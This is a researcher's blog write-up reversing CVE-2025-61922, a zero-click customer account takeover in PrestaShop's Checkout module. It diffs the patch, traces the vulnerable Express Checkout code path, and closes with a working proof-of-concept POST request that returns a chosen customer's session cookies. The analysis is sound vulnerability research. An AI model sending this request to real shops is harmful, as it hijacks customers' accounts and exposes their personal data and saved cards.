CVE-2025-61922: Zero-Click Account Takeover on Prestashop
Technical analysis of CVE-2025-61922 leading to zero-click account takeover in PrestaShop Checkout < 5.0.5
Background
It’s Jan 1, 2026. I’m bored at home with the new year resolution to reverse as much CVEs as possible and blog them throughout the year.
After a bit of doomscrolling, I started to looked for some recent high or critical CVEs and ended up finding some advisories released by Prestashop.
Out of which, this looked pretty interesting:

- CVE ID:
CVE-2025-61922 - CVSS:
9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - Affected: PS Checkout
Given the module comes pre-installed in Prestashop, a zero-click account takeover would be a pretty cool finding for hackers to exploit in the wild. Let’s dig into it!
Advisory Analysis
The GitHub advisory does not give much information about the CVE:
Missing validation on Express Checkout feature allows silent log-in
The Patches section gives the information about the vulnerable and patched versions, so that we can diff the code to figure out the PoC.

From this, we know that the issue is patched on the version 5.0.5. Time to get the component with version 5.0.4 and 5.0.5 which is easily available in the releases.
Diff Analysis
Diffing the code between the two versions, we can see that there is not much code changes except the security fixes published by Prestashop.

Since we know that the vulnerability is on Express Checkout flow, we can directly hop into the diff of the file /controllers/front/ExpressCheckout.php.

In the line 53, a check has been added to ensure that Express Checkout is enabled which is a good sign. We now know that it doesn’t require any specific configuration like enabling express checkout.
Other than that, there is no significant code changes there.
Moving on to other significant file changes related to Express Checkout, we come across /vendor/invertus/core/src/Customer/Action/ExpressCheckoutAction.php file.

This is pretty interesting. The new version of the module is now checking if the user’s logged in, if not, it is creating a new user.
However, in the older code, if the user is not logged-in, a call to execute() is made of the CustomerAuthenticationAction class.
The function execute() has been removed in the patched version.

They deprecated the whole class…
Source to Sink
In the vulnerable version, let’s go through the entrypoint of the vulnerability: /controllers/front/ExpressCheckout.php. The controller can be hit by an unauthenticated user through the request POST /module/ps_checkout/ExpressCheckout. Find out why?
Analyzing the file /controllers/front/ExpressCheckout.php in the vulnerable version, below is the most relevant part of the code:
public function postProcess()
{
$logger = $this->module->getService(LoggerInterface::class);
try {
// TRIMMED
$requestData = json_decode($bodyContent, true); // [0]
// TRIMMED
$expressCheckoutRequest = new ExpressCheckoutRequest($requestData); // [1]
if (!$expressCheckoutRequest->getOrderId()) { // [2]
$this->exitWithResponse([
'httpCode' => 400,
'body' => 'Payload invalid',
]);
}
// TRIMMED
$expressCheckoutAction = $this->module->getService(ExpressCheckoutAction::class);
$expressCheckoutAction->execute($expressCheckoutRequest); // [3]
}
// TRIMMED
}
After taking the user-input as JSON from the POST request [0], the JSON is passed to the ExpressCheckoutRequest class as argument [1]. The [2] only checks for the existence of orderID. After that, the expressCheckoutAction::execute() function is called [3].
The ExpressCheckoutRequest class acts as a DTO for the actual processing that occurs in expressCheckoutAction::execute() which is one of the files that had significant code changes.
// File: /vendor/invertus/core/src/Customer/Action/ExpressCheckoutAction.php
public function execute(ExpressCheckoutRequest $expressCheckoutRequest)
{
if ($this->context->getCustomer() && !$this->context->getCustomer()->isLogged()) {
$this->customerAuthenticationAction->execute($expressCheckoutRequest); // [5]
}
$this->context->resetContextCartAddresses();
$this->createOrUpdateAddressAction->execute($expressCheckoutRequest);
}
If the user is not logged-in, customerAuthenticationAction->execute() is called [5].
// File: vendor/invertus/infrastructure/src/Action/CustomerAuthenticationAction.php
public function execute(ExpressCheckoutRequest $expressCheckoutRequest)
{
$customerId = $this->customer->customerExists($expressCheckoutRequest->getPayerEmail()); // [6]
if ($customerId === 0) {
$customer = $this->createCustomer($expressCheckoutRequest);
} else {
$customer = new Customer($customerId);
}
$this->context->updateCustomer($customer); // [7]
}
In [6], getPayerEmail() retrieves the email from the POST data. If the email exists, $customerId is retrieved and the user is logged-in at [7].
public function getPayerEmail()
{
return $this->data['order']['payer']['email_address'] ?? null;
}
The getPayerEmail() function retrieves the email address from ['order']['payer']['email_address'] which we have to keep in mind while creating the PoC.
Building the PoC
Putting all the details together, we get the below PoC:
POST /module/ps_checkout/ExpressCheckout HTTP/1.1
Host: localhost:3000
Content-Length: 72
{"orderID":"1","order":{"payer":{"email_address":"[email protected]"}}}
Sending this unauthenticated request gives a 500 error along with the cookies of the customer with email [email protected].

Conclusion
While this allows an attacker to takeover any customer account, it is not possible to takeover administrators as Prestashop has different implementations for customers and admins. The maximum impact is limited to full PII leakage of customers and potentially using their saved cards to make orders.
Still, it’s dangerous given that it can be exploited in the default settings of any Prestashop sites.
Thanks for reading so far. See you on the next one!